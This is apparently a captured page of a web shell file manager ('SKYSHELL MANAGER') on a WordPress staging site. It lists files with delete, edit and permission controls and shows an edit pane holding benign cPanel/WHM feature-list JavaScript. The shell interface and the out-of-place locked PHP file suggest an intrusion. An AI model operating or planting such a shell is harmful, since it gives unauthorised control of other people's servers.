📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: manager.cmb.js
/* # templates/feature/views/commonController.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define, PAGE */ /* ------------------------------------------------------------------------------ * DEVELOPER NOTES: * 1) Put all common application functionality here, maybe *-----------------------------------------------------------------------------*/ define( 'app/views/commonController',[ "angular", "cjt/filters/wrapFilter", "cjt/services/alertService", "cjt/directives/alertList", "uiBootstrap" ], function(angular) { var app; try { app = angular.module("App"); } catch (e) { app = angular.module("App", ["ui.bootstrap", "ngSanitize"]); } var controller = app.controller( "commonController", ["$scope", "$location", "$rootScope", "alertService", "PAGE", function($scope, $location, $rootScope, alertService, PAGE) { // Setup the installed bit... $scope.isInstalled = PAGE.installed; // Bind the alerts service to the local scope $scope.alerts = alertService.getAlerts(); $scope.route = null; /** * Closes an alert and removes it from the alerts service * * @method closeAlert * @param {String} index The array index of the alert to remove */ $scope.closeAlert = function(id) { alertService.remove(id); }; /** * Determines if the current view matches the supplied pattern * * @method isCurrentView * @param {String} view The path to the view to match */ $scope.isCurrentView = function(view) { if ( $scope.route && $scope.route.$$route ) { return $scope.route.$$route.originalPath === view; } return false; }; // register listener to watch route changes $rootScope.$on( "$routeChangeStart", function(event, next, current) { $scope.route = next; }); } ]); return controller; } ); // Copyright 2025 WebPros International, LLC // All rights reserved. // copyright@cpanel.net http://cpanel.net // This code is subject to the cPanel license. Unauthorized copying is prohibited. define( 'app/services/featureListService',[ // Libraries "angular", "lodash", // CJT "cjt/io/api", "cjt/io/whm-v1-request", "cjt/io/whm-v1", "cjt/services/APIService", ], function(angular, _, API, APIREQUEST, APIDRIVER) { "use strict"; // Constants var NO_MODULE = ""; // Fetch the current application var app; try { app = angular.module("App"); // For runtime } catch (e) { app = angular.module("App", ["cjt2.services.api"]); // Fall-back for unit testing } /** * Setup the feature list models API service */ app.factory("featureListService", ["$q", "APIService", "PAGE", function($q, APIService, PAGE) { /** * Converts the response to our application data structure * * @method convertResponseToList * @private * @param {Object} response * @return {Object} Sanitized data structure. */ function convertResponseToList(response) { var items = []; if (response.status) { var data = response.data; for (var i = 0, length = data.length; i < length; i++) { items.push(data[i]); } var meta = response.meta; var totalItems = meta.paginate.total_records || data.length; var totalPages = meta.paginate.total_pages || 1; return { items: items, totalItems: totalItems, totalPages: totalPages, status: response.status, }; } else { return { items: [], totalItems: 0, totalPages: 0, status: response.status, }; } } /** * Helper method to retrieve feature lists in chained actions * * @method _fetchLists * @private * @param {Deferred} deferred * @return {Promise} */ function _fetchLists(deferred) { var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "get_featurelists"); apiCall.addSorting("", "asc", "lexicographic_caseless"); this.deferred(apiCall, { transformAPISuccess: convertResponseToList, }, deferred); // pass the promise back to the controller return deferred.promise; } // Set up the service's constructor and parent var FeatureListService = function() {}; FeatureListService.prototype = new APIService(); // Extend the prototype with any class-specific functionality angular.extend(FeatureListService.prototype, { /** * Get a list of feature lists * * @method loadFeatureLists * @return {Promise} Promise that will fulfill the request. * @throws Error */ loadFeatureLists: function() { var deferred = $q.defer(); // pass the promise back to the controller return _fetchLists.call(this, deferred); }, /** * Get a single feature list by its name from the backend and merges * it with the list of descriptions * * @method load * @param {String} name The name of a feature list to fetch. * @param {Array} dictionary Array of human readable labels for feature names. * @return {Promise} Promise that will fulfill the request. */ load: function(name, dictionary) { var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "get_featurelist_data"); apiCall.addArgument("featurelist", name); var deferred = this.deferred(apiCall, { apiSuccess: function(response, deferred) { response.items = []; // legacy features only supported by x and x2 interfaces var legacyNames = ["bbs", "chat", "cpanelpro_support", "searchsubmit", "advguest", "guest", "cgi", "scgiwrap", "counter", "entropybanner", "entropysearch", "clock", "countdown", "randhtml", "videotut", "getstart"], featurePluginFlag = false, legacyFeature, featureLabel, featureID, featureState; _.each(response.data.features, function(feature) { legacyFeature = false; if ( _.includes(legacyNames, feature.id) ) { if ( PAGE.legacySupport ) { legacyFeature = true; } else { // exclude legacy feature return; } } if ( feature.id === "fantastico" && !PAGE.fantasticoSupport ) { // exclude fantastico feature return; } // check the dictionary for additional meta data about the feature featureID = feature.id; featureLabel = feature.id; if ( feature.id in dictionary ) { featureLabel = dictionary[feature.id].name; featurePluginFlag = dictionary[feature.id].is_plugin === "1" ? true : false; } // handle api oddities for disabled list featureState = false; if ( name === "disabled" ) { if ( feature.value === "0" ) { featureState = true; } } else { featureState = feature.value === "1" ? true : false; } response.items.push({ name: featureID, label: featureLabel, value: featureState, legacy: legacyFeature, disabled: feature.is_disabled === "1" ? true : false, plugin: featurePluginFlag, pluginBadgeHide: feature.suppress_plugin_label, standalone: feature.is_standalone_experience, onlyOneRules: feature.only_one_rules || [], dependencies: feature.dependencies || [], disabledDependencies: feature.disabled_dependencies || [], allowList: feature.allow_list || [], blockList: feature.block_list || [], badgeLabel: feature.badge_label, badgeClass: feature.badge_class || "", }); }, response.data.features); // sort features by the readable labels response.items = _.sortBy(response.items, function(feature) { return feature.label.toLowerCase(); }); deferred.resolve(response); }, }); // pass the promise back to the controller return deferred.promise; }, /** * Saves the states of a list of a features * * @method save * @param {String} name The name of a feature list to save. * @param {Array} list The array of list objects to save. * @return {Promise} Promise that will fulfill the request. */ save: function(name, list) { var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "update_featurelist"); apiCall.addArgument("featurelist", name); var featureList = angular.copy(list); _.each(featureList, function(feature) { // conditionally flip the logic from the checkboxes if ( name === "disabled" ) { feature.value = feature.value === true ? "0" : "1"; } else { feature.value = feature.value === true ? "1" : "0"; } apiCall.addArgument(feature.name, feature.value); }); return this.deferred(apiCall, { context: this, }).promise; }, /** * Add a feature list * * @method add * @param {String} name The name of the feature list to be created * @return {Promise} Promise that will fulfill the request. */ add: function(name) { var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "create_featurelist"); apiCall.addArgument("featurelist", name); return this.deferred(apiCall, { context: this, apiSuccess: function(response, deferred) { deferred.resolve(response); }, }).promise; }, /** * Delete a feature list by its name * * @method remove * @param {String} name The name of the feature list to delete. * @return {Promise} Promise that will fulfill the request. */ remove: function(name) { var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "delete_featurelist"); apiCall.addArgument("featurelist", name); return this.deferred(apiCall, { context: this, apiSuccess: function(response, deferred) { deferred.notify(); _fetchLists.call(this, deferred); }, }).promise; }, /** * Helper method that calls convertResponseToList to prepare the data structure * * @method prepareList * @param {Object} response * @return {Object} Sanitized data structure. */ prepareList: function(response) { // Since this is coming from the backend, but not through the api.js layer, // we need to parse it to the frontend format. response = APIDRIVER.parse_response(response).parsedResponse; return convertResponseToList(response); }, }); return new FeatureListService(); }]); } ); // Copyright 2024 WebPros International, LLC // All rights reserved. // copyright@cpanel.net http://cpanel.net // This code is subject to the cPanel license. Unauthorized copying is prohibited. define( 'app/views/featureListController',[ "angular", "lodash", "cjt/util/locale", "uiBootstrap", "cjt/directives/autoFocus", "cjt/filters/wrapFilter", "cjt/filters/splitFilter", "cjt/filters/htmlFilter", "cjt/directives/spinnerDirective", "cjt/directives/actionButtonDirective", "cjt/directives/validationContainerDirective", "cjt/directives/validationItemDirective", "cjt/services/alertService", "app/services/featureListService", "cjt/io/whm-v1-querystring-service", ], function(angular, _, LOCALE) { "use strict"; // Retrieve the current application var app = angular.module("App"); var controller = app.controller( "featureListController", [ "$scope", "$location", "$anchorScroll", "$timeout", "featureListService", "alertService", function( $scope, $location, $anchorScroll, $timeout, featureListService, alertService) { $scope.loadingPageData = true; $scope.loadingView = false; $scope.onlyReseller = !PAGE.hasRoot; $scope.hasMailOnlyList = PAGE.hasMailOnlyList; /** * Returns true if the feature list can be edited * * @method isEditable * @param {String} list The name of the feature list to check * @return {Boolean} */ $scope.isEditable = function(list) { return typeof list !== "undefined" && list !== ""; }; /** * Returns true if the feature list can be deleted * * @method isDeletable * @param {String} list The name of the feature list to check * @return {Boolean} */ $scope.isDeletable = function(list) { if (typeof list !== "undefined") { return $scope.isEditable(list) && !$scope.isSystemList(list); } return false; }; /** * Returns true if the feature list is reserved for use by the system * * @method isSystemList * @param {String} list The name of the feature list to check * @return {Boolean} */ $scope.isSystemList = function(list) { if (typeof list !== "undefined") { return list === "default" || list === "disabled" || list === "Mail Only"; } return false; }; /** * Add a feature list * * @method add * @param {String} list The name of the feature list to add * @return {Promise} */ $scope.add = function(list) { if (!$scope.formAddFeature.$valid) { // dirty the name field and bail out var currentValue = $scope.formAddFeature.txtNewFeatureList.$viewValue; $scope.formAddFeature.txtNewFeatureList.$setViewValue(currentValue); return; } // reseller check if (!PAGE.hasRoot) { var re = new RegExp("^" + PAGE.remoteUser + "_\\w+", "i"); if (list.search(re) === -1) { list = PAGE.remoteUser + "_" + list; } } return featureListService .add(list) .then(function() { // success $scope.loadingView = true; $scope.loadView("editFeatureList", { name: list }); }, function(error) { // failure alertService.add({ type: "danger", message: error, id: "errorAddingingFeatureList", }); }); }; /** * Deletes a feature list * * @method delete * @param {String} list The name of the feature list to delete * @return {Promise} */ $scope.delete = function(list) { return featureListService .remove(list) .then(function(results) { // success $scope.featureLists = results.items; $scope.selectedFeatureList = $scope.featureLists[0]; }, function(error) { // failure alertService.add({ type: "danger", message: error, id: "errorDeletingFeatureList", }); }, function() { // notification alertService.add({ type: "success", message: LOCALE.maketext("You successfully deleted the “[_1]” feature list.", _.escape(list)), id: "alertDeleteSuccess", }); }); }; /** * Fetch the feature lists * @method fetch * @return {Promise} Promise that when fulfilled will result in the list being loaded with the new criteria. */ $scope.fetch = function() { $scope.loadingPageData = true; alertService.removeById("errorFetchFeatureLists"); return featureListService .loadFeatureLists() .then(function(results) { $scope.featureLists = results.items; $scope.selectedFeatureList = $scope.featureLists[0]; }, function(error) { // failure alertService.add({ type: "danger", message: error, id: "errorFetchFeatureLists", }); // throw an error for chained promises throw error; }).finally(function() { $scope.loadingPageData = false; }); }; $scope.$on("$viewContentLoaded", function() { // check for page data in the template if this is a first load if (app.firstLoad.featureList && PAGE.featureLists) { app.firstLoad.featureList = false; $scope.loadingPageData = false; var featureLists = featureListService.prepareList(PAGE.featureLists); $scope.featureLists = featureLists.items; $scope.selectedFeatureList = $scope.featureLists[0]; if (!featureLists.status) { $scope.loadingPageData = "error"; alertService.add({ type: "danger", message: LOCALE.maketext("There was a problem loading the page. The system is reporting the following error: [_1].", PAGE.featureLists.metadata.reason), id: "errorFetchFeatureLists", }); } } else { // reload the feature lists $scope.fetch(); } }); }, ]); return controller; } ); // Copyright 2025 WebPros International, LLC // All rights reserved. // copyright@cpanel.net http://cpanel.net // This code is subject to the cPanel license. Unauthorized copying is prohibited. /* exported $sce */ define( 'app/views/editFeatureListController',[ "angular", "lodash", "jquery", "cjt/util/locale", "uiBootstrap", "cjt/directives/searchDirective", "cjt/directives/spinnerDirective", "cjt/services/alertService", "app/services/featureListService", ], function(angular, _, $, LOCALE) { "use strict"; // Retrieve the current application var app = angular.module("App"); var controller = app.controller( "editFeatureListController", ["$scope", "$location", "$anchorScroll", "$routeParams", "spinnerAPI", "alertService", "featureListService", "$sce", "PAGE", function($scope, $location, $anchorScroll, $routeParams, spinnerAPI, alertService, featureListService, $sce, PAGE) { $scope.featureListName = $routeParams.name; $scope.featureListHeading = LOCALE.maketext("Select all features for: [_1]", $scope.featureListName); $scope.isDisabledFeatureList = $scope.featureListName === "disabled"; /** * Validates onlyOneRules - "There can be only one!" */ $scope.validateOnlyOneRules = function(newValue) { if (!newValue) { return { valid: true }; } // Skip validation for "disabled" feature list if ($scope.isDisabledFeatureList) { return { valid: true }; } const checkedFeatureNames = $scope.featureList .filter(feature => feature.value) .map(feature => feature.name); const allRules = $scope.featureList .filter(feature => feature.onlyOneRules) .flatMap(feature => feature.onlyOneRules); for (const rule of allRules) { const violation = $scope.checkRuleViolation(rule, checkedFeatureNames); if (violation) { return violation; } } return { valid: true }; }; /** * Check if feature matches pattern (string or {pattern, flags}) */ $scope.matches = function(name, pattern) { try { const patternStr = pattern.pattern || pattern; // Skip empty patterns or Perl's empty regex pattern if (!patternStr || patternStr === "(?^u:)" || patternStr === "(?-u:)") { return false; } return new RegExp(patternStr, pattern.flags || "").test(name); } catch (e) { void e; return false; } }; /** * Get allowed feature names from allowList * Also includes dependencies so they remain selectable */ $scope.getAllowedNames = function(feature) { if (!feature.allowList || !feature.allowList.length) { return null; } const allowed = {}; allowed[feature.name] = true; // Include dependencies in allowed list so they can still be checked if (feature.dependencies && feature.dependencies.length) { feature.dependencies.forEach(dep => { allowed[dep] = true; }); } $scope.featureList.forEach(f => { if (feature.allowList.some(pattern => $scope.matches(f.name, pattern))) { allowed[f.name] = true; } }); return allowed; }; /** * Get blocked feature names from blockList */ $scope.getBlockedNames = function(feature) { if (!feature.blockList || !feature.blockList.length) { return null; } const blocked = {}; $scope.featureList.forEach(f => { if (feature.blockList.some(pattern => $scope.matches(f.name, pattern))) { blocked[f.name] = true; } }); return blocked; }; /** * Check if feature should be restricted */ $scope.shouldRestrict = function(feature, allowedNames, blockedNames) { // Check allowList if (allowedNames && !allowedNames[feature.name]) { return true; } // Check blockList if (blockedNames && blockedNames[feature.name]) { return true; } return false; }; /** * Apply restriction to a feature (deselect and disable) */ $scope.restrictFeature = function(targetFeature, sourceFeatureName) { const wasSelected = targetFeature.value; if (wasSelected) { targetFeature.value = false; } targetFeature.restrictedBy = targetFeature.restrictedBy || {}; targetFeature.restrictedBy[sourceFeatureName] = true; targetFeature.isRestricted = true; return wasSelected; }; /** * Apply allowList/blockList restrictions */ $scope.applyRestrictions = function(feature) { if ($scope.isDisabledFeatureList) { return { deselected: [] }; } const deselected = []; const allowedNames = $scope.getAllowedNames(feature); const blockedNames = $scope.getBlockedNames(feature); $scope.featureList.forEach(f => { if ($scope.shouldRestrict(f, allowedNames, blockedNames)) { if ($scope.restrictFeature(f, feature.name)) { deselected.push(f); } } }); return { deselected }; }; /** * Remove restrictions when feature is deselected */ $scope.removeRestrictions = function(feature) { $scope.featureList.forEach(f => { if (f.restrictedBy && f.restrictedBy[feature.name]) { delete f.restrictedBy[feature.name]; if (Object.keys(f.restrictedBy).length === 0) { delete f.restrictedBy; delete f.isRestricted; } } }); return { valid: true }; }; /** * Get restriction message for a feature */ $scope.getRestrictionMessage = function(feature) { if (!feature.isRestricted || !feature.restrictedBy) { return ""; } const restrictingFeatures = Object.keys(feature.restrictedBy); if (restrictingFeatures.length === 0) { return ""; } const restrictingFeatureObjects = restrictingFeatures.map(name => { const foundFeature = $scope.featureList.find(f => f.name === name); return foundFeature || { name: name, label: name }; }); const labels = $scope.formatFeatureLabelsWithBadges(restrictingFeatureObjects); return LOCALE.maketext("This feature is disabled because it is incompatible with: “[_1]”.", labels.join(", ")); }; /** * Check if a single rule is violated by the checked features */ $scope.checkRuleViolation = function(rule, checkedFeatureNames) { const pattern = rule.pattern || rule; const flags = rule.flags || ""; let regex; try { regex = new RegExp(pattern, flags); } catch (e) { console.warn("Invalid onlyOneRules pattern:", pattern, flags, e); return null; } const matchingFeatures = checkedFeatureNames.filter(name => regex.test(name)); if (matchingFeatures.length <= 1) { return null; } const matchingFeatureObjects = matchingFeatures.map(name => { const foundFeature = $scope.featureList.find(feature => feature.name === name); return foundFeature || { name: name, label: name }; }); const matchingLabels = $scope.formatFeatureLabelsWithBadges(matchingFeatureObjects); return { valid: false, error: LOCALE.maketext("Your feature list can only include one of the following features: “[_1]”.", matchingLabels.join(", ")), }; }; /** * Recursively update dependencies when enabling a feature * Dependencies that are disabled (from the disabled feature list) will not be auto-enabled. * The backend will validate and reject if disabled features are required. */ $scope.enableDependencies = function(targetFeature, changedFeatures = []) { // Skip dependency management for "disabled" feature list if ($scope.isDisabledFeatureList) { return changedFeatures; } if (!targetFeature.dependencies || !targetFeature.dependencies.length) { return changedFeatures; } const dependencyFeatures = $scope.featureList.filter(candidateFeature => targetFeature.dependencies.includes(candidateFeature.name) ); dependencyFeatures.forEach(dependencyFeature => { // Force disabled features to be unchecked and skip enabling them // The backend will validate and reject the save if (dependencyFeature.disabled) { dependencyFeature.value = false; return; } if (!dependencyFeature.value) { dependencyFeature.value = true; changedFeatures.push(dependencyFeature); $scope.enableDependencies(dependencyFeature, changedFeatures); } }); return changedFeatures; }; /** * Recursively disable features that depend on this feature and their dependencies */ $scope.disableDependentFeatures = function(targetFeature, changedFeatures = []) { // Skip dependency management for "disabled" feature list if ($scope.isDisabledFeatureList) { return changedFeatures; } // Find features that depend on the target feature const dependentFeatures = $scope.featureList.filter(candidateFeature => candidateFeature.dependencies && candidateFeature.dependencies.includes(targetFeature.name) && candidateFeature.value && !candidateFeature.disabled ); dependentFeatures.forEach(dependentFeature => { dependentFeature.value = false; changedFeatures.push(dependentFeature); // If this feature is being auto-disabled due to a dependency change, // it must also stop restricting other features. $scope.removeRestrictions(dependentFeature); // Clear any stale alerts that may have been created when the feature // was previously toggled on. alertService.removeById("warningOnlyOneRule_" + dependentFeature.name); alertService.removeById("warningRestrict_" + dependentFeature.name); alertService.removeById("errorDisabledDependency_" + dependentFeature.name); // Also disable features that depend on this dependent feature $scope.disableDependentFeatures(dependentFeature, changedFeatures); }); return changedFeatures; }; /** * Check if a feature has dependencies that are in the disabled feature list * @param {Object} feature The feature to check * @return {Object|null} Object with feature name and disabled dependencies, or null if no issues */ $scope.getDisabledDependencyError = function(feature) { if (!feature || !feature.disabledDependencies || !feature.disabledDependencies.length) { return null; } // Get the labels for the disabled dependencies const disabledDepLabels = feature.disabledDependencies.map(depName => { const depFeature = $scope.featureList.find(f => f.name === depName); return depFeature ? (depFeature.label || depFeature.name) : depName; }); return { feature: feature.name, featureLabel: feature.label || feature.name, disabledDependencies: feature.disabledDependencies, disabledDependencyLabels: disabledDepLabels, }; }; /** * Validate all features before saving to check for disabled dependencies * @return {Object} Validation result with valid flag and errors array */ $scope.validateDisabledDependencies = function() { // Skip validation for "disabled" feature list if ($scope.isDisabledFeatureList) { return { valid: true, errors: [] }; } const errors = []; $scope.featureList.filter(f => f.value && !f.disabled).forEach(feature => { const error = $scope.getDisabledDependencyError(feature); if (error) { errors.push(error); } }); return { valid: errors.length === 0, errors: errors, }; }; /** * Format disabled dependency errors into localized messages * @param {Array} errors Array of error objects from validateDisabledDependencies * @return {Array} Array of localized error message strings */ $scope.formatDisabledDependencyErrors = function(errors) { return errors.map(error => LOCALE.maketext( "The “[_1]” feature requires “[_2]” which [numerate,_3,is,are] globally disabled.", error.featureLabel, error.disabledDependencyLabels.join(", "), error.disabledDependencies.length ) ); }; /** * Show user notification about automatic feature changes */ $scope.notifyFeatureChanges = function(changedFeatures, action) { if (!changedFeatures.length) { return; } const featureLabels = $scope.formatFeatureLabelsWithBadges(changedFeatures); let message; if (action === "enabled") { message = LOCALE.maketext("The following features were automatically enabled due to dependencies: “[_1]”.", featureLabels.join(", ")); } else { message = LOCALE.maketext("The following features were automatically disabled because they depend on unselected features: “[_1]”.", featureLabels.join(", ")); } alertService.add({ type: "info", message: message, id: "infoDependencyChanges", replace: true, }); }; /** * Handler for checkbox changes that validates onlyOneRules */ $scope.handleFeatureChange = function(feature) { if (!feature) { return; } let changedFeatures = []; // If feature is being unchecked if (!feature.value) { // Disable features that depend on this one (unless we're in "disabled" feature list) if (!$scope.isDisabledFeatureList) { changedFeatures = $scope.disableDependentFeatures(feature); $scope.notifyFeatureChanges(changedFeatures, "disabled"); } $scope.removeRestrictions(feature); alertService.removeById("warningOnlyOneRule_" + feature.name); alertService.removeById("warningRestrict_" + feature.name); alertService.removeById("errorDisabledDependency_" + feature.name); return; } // Skip further processing when editing the disabled list // (no dependency validation needed for the disabled list itself) if ($scope.isDisabledFeatureList) { return true; } // Check for disabled dependencies before proceeding const disabledDependencyError = $scope.getDisabledDependencyError(feature); if (disabledDependencyError) { // Revert the change feature.value = false; // Show error message alertService.add({ type: "danger", message: LOCALE.maketext( "Cannot enable “[_1]” because it requires “[_2]” which [numerate,_3,is,are] globally disabled. To use this feature, first remove [numerate,_3,this feature,these features] from the “disabled” feature list.", disabledDependencyError.featureLabel, disabledDependencyError.disabledDependencyLabels.join(", "), disabledDependencyError.disabledDependencies.length ), id: "errorDisabledDependency_" + feature.name, replace: true, }); return false; } // If feature is being checked, enable its dependencies (unless we're in "disabled" feature list) changedFeatures = $scope.enableDependencies(feature); // Apply restrictions (auto-deselect conflicts) const restrictResult = $scope.applyRestrictions(feature); const validation = $scope.validateOnlyOneRules(feature.value); if (!validation.valid) { // Revert the change and all dependency changes feature.value = false; changedFeatures.forEach(changedFeature => { changedFeature.value = false; }); $scope.removeRestrictions(feature); // Show error message alertService.add({ type: "warning", message: validation.error, id: "warningOnlyOneRule_" + feature.name, replace: true, }); return false; } // Notify about dependency changes (only if dependency management is enabled) $scope.notifyFeatureChanges(changedFeatures, "enabled"); // Notify about auto-deselected features if (restrictResult.deselected && restrictResult.deselected.length) { const count = restrictResult.deselected.length; const featureName = feature.label || feature.name; let message = LOCALE.maketext("The system automatically deselected [quant,_1,feature,features] because [numerate,_1,it conflicts,they conflict] with “[_2]”.", count, featureName); alertService.add({ type: "info", message: message, id: "infoRestrict_" + feature.name, replace: false }); } // Clear any previous warnings for this feature alertService.removeById("warningOnlyOneRule_" + feature.name); alertService.removeById("warningRestrict_" + feature.name); return true; }; /** * Format feature labels with badge information for alerts * @param {Array|Object} features Array of feature objects or single feature object * @return {Array} Array of formatted label strings */ $scope.formatFeatureLabelsWithBadges = function(features) { const featureArray = Array.isArray(features) ? features : [features]; return featureArray.map(feature => { const label = feature.label || feature.name; return feature.badgeLabel ? `${label} (${feature.badgeLabel})` : label; }); }; /** * Get all feature names that are part of exclusive groups */ $scope.getExclusiveFeatures = function() { // Skip exclusive feature logic for "disabled" feature list if ($scope.isDisabledFeatureList) { return []; } const allRules = $scope.featureList .filter(feature => feature.onlyOneRules && feature.onlyOneRules.length) .flatMap(feature => feature.onlyOneRules); const exclusiveFeatures = {}; allRules.forEach(rule => { const pattern = rule.pattern || rule; const flags = rule.flags || ""; try { const regex = new RegExp(pattern, flags); $scope.featureList .filter(feature => regex.test(feature.name)) .forEach(feature => exclusiveFeatures[feature.name] = true); } catch (e) { console.warn("Invalid onlyOneRules pattern:", pattern, flags, e); } }); return Object.keys(exclusiveFeatures); }; /** * Toggles the checked states - smart selection for exclusive features */ $scope.toggleAllFeatures = function() { const isSelecting = !$scope.allFeaturesChecked(); if (!isSelecting) { $scope.featureList.forEach(f => { const wasSelected = f.value; f.value = false; if (wasSelected) { $scope.removeRestrictions(f); } }); alertService.removeById("infoExclusiveFeaturesSkipped"); alertService.removeById("warningOnlyOneRuleSelectAll"); return; } const exclusiveFeatureNames = {}; $scope.getExclusiveFeatures().forEach(name => exclusiveFeatureNames[name] = true); const skippedFeatures = $scope.featureList .filter(feature => !feature.disabled && !feature.isRestricted && isSelecting && exclusiveFeatureNames[feature.name] && !feature.value) .map(feature => { feature.value = false; // Force exclusive features to stay unchecked return feature; // Return entire feature object for badge formatting }); const skippedLabels = $scope.formatFeatureLabelsWithBadges(skippedFeatures); $scope.featureList .filter(feature => !feature.disabled && !feature.isRestricted && !exclusiveFeatureNames[feature.name]) .forEach(feature => { feature.value = isSelecting; }); const hasSkippedFeatures = skippedLabels.length && isSelecting; if (hasSkippedFeatures) { alertService.add({ type: "info", message: LOCALE.maketext("The “Select All” action skipped features that override the standard login process. You can manually select them if needed: “[_1]”.", skippedLabels.join(", ")), id: "infoExclusiveFeaturesSkipped", replace: true, }); } else { alertService.removeById("infoExclusiveFeaturesSkipped"); } alertService.removeById("warningOnlyOneRuleSelectAll"); }; /** * Helper function that returns true if all non-exclusive features are checked * Exclusive features are ignored since they cannot all be selected simultaneously * * @method allFeaturesChecked * @return {Boolean} */ $scope.allFeaturesChecked = function() { // bail out if the page is still loading or feature list is nonexistent if ($scope.loadingPageData || !$scope.featureList) { return false; } const exclusiveFeatures = $scope.getExclusiveFeatures(); for (let i = 0, length = $scope.featureList.length; i < length; i++) { const currentFeature = $scope.featureList[i]; // Skip disabled features and exclusive features if (currentFeature.disabled || currentFeature.isRestricted || exclusiveFeatures.includes(currentFeature.name)) { continue; } // If any non-exclusive, non-disabled feature is unchecked, return false if (currentFeature.value === false) { return false; } } // All non-exclusive features are checked return true; }; /** * Save the list of features and return to the feature list view * * @method save * @param {Array} list Array of feature objects. * @return {Promise} */ $scope.save = function(list) { // Validate for disabled dependencies before saving const validation = $scope.validateDisabledDependencies(); if (!validation.valid) { const errorMessages = $scope.formatDisabledDependencyErrors(validation.errors); alertService.add({ type: "danger", message: LOCALE.maketext("Cannot save feature list: “[_1]”. To fix this, remove the required features from the “disabled” feature list.", errorMessages.join(" ")), id: "errorCannotSaveDisabledDeps", replace: true, }); return; } return featureListService .save($scope.featureListName, list) .then(function success() { alertService.add({ type: "success", message: LOCALE.maketext("You have successfully updated the “[_1]” feature list.", _.escape($scope.featureListName)), id: "alertSaveSuccess", replace: true, }); $scope.loadView("featureList"); }, function failure(error) { alertService.add({ type: "danger", message: error, id: "errorSaveFeatureList", }); }); }; /** * Fetch the list of hits from the server * @method fetch * @return {Promise} Promise that when fulfilled will result in the list being loaded with the new criteria. */ $scope.fetch = function() { $scope.loadingPageData = true; spinnerAPI.start("featureListSpinner"); alertService.removeById("errorFetchFeatureList"); return featureListService .load($scope.featureListName, $scope.featureDescriptions) .then(function success(results) { $scope.featureList = results.items; if (!$scope.isDisabledFeatureList) { $scope.featureList.filter(f => f.value).forEach(f => $scope.applyRestrictions(f)); } // Check for disabled dependencies on load const validation = $scope.validateDisabledDependencies(); if (!validation.valid) { const errorMessages = $scope.formatDisabledDependencyErrors(validation.errors); alertService.add({ type: "warning", message: LOCALE.maketext("This feature list cannot be saved in its current state: “[_1]”. To fix this, remove the required features from the “disabled” feature list.", errorMessages.join(" ")), id: "warningDisabledDepsOnLoad", replace: false, autoClose: 0, }); } $scope.loadingPageData = false; }, function failure(error) { alertService.add({ type: "danger", message: error, id: "errorFetchFeatureList", }); // throw an error for chained promises throw error; }).finally(function() { $scope.loadingPageData = false; spinnerAPI.stop("featureListSpinner"); }); }; $scope.$on("$viewContentLoaded", function() { alertService.clear(); var featureDescriptions = featureListService.prepareList(PAGE.featureDescriptions); $scope.featureDescriptions = _.fromPairs(_.zip(_.map(featureDescriptions.items, "id"), featureDescriptions.items)); if ( !featureDescriptions.status ) { $scope.loadingPageData = "error"; alertService.add({ type: "danger", message: LOCALE.maketext("There was a problem loading the page. The system is reporting the following error: [_1].", PAGE.featureDescriptions.metadata.reason), id: "errorFetchFeatureDescriptions", }); } else { // load the feature list $scope.fetch(); } }); }, ]); return controller; } ); /* # templates/feature/manager.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global require, define, PAGE */ define( 'app/manager',[ "angular", "jquery", "lodash", "cjt/core", "cjt/modules", "ngRoute", "uiBootstrap" ], function(angular, $, _, CJT) { return function() { // First create the application angular.module("App", [ "cjt2.config.whm.configProvider", // This needs to load first "ngRoute", "ui.bootstrap", "cjt2.whm" ]); // Then load the application dependencies var app = require( [ "cjt/bootstrap", "cjt/util/locale", // Application Modules "cjt/views/applicationController", "cjt/filters/breakFilter", "app/views/commonController", "app/views/featureListController", "app/views/editFeatureListController", "cjt/services/whm/breadcrumbService" ], function(BOOTSTRAP, LOCALE) { var app = angular.module("App"); app.value("PAGE", PAGE); app.firstLoad = { featureList: true }; app.config(["$routeProvider", function($routeProvider) { // Setup the routes $routeProvider.when("/featureList", { controller: "featureListController", templateUrl: CJT.buildFullPath("feature/views/featureListView.ptt"), breadcrumb: LOCALE.maketext("Feature Lists"), reloadOnSearch: false }); $routeProvider.when("/editFeatureList", { controller: "editFeatureListController", templateUrl: CJT.buildFullPath("feature/views/editFeatureListView.ptt"), breadcrumb: LOCALE.maketext("Edit Feature List"), reloadOnSearch: false }); $routeProvider.otherwise({ redirectTo: function(routeParams, path, search) { return "/featureList?" + window.location.search; } }); } ]); app.run(["breadcrumbService", function(breadcrumbService) { // Setup the breadcrumbs service breadcrumbService.initialize(); }]); BOOTSTRAP(document); }); return app; }; } );
Save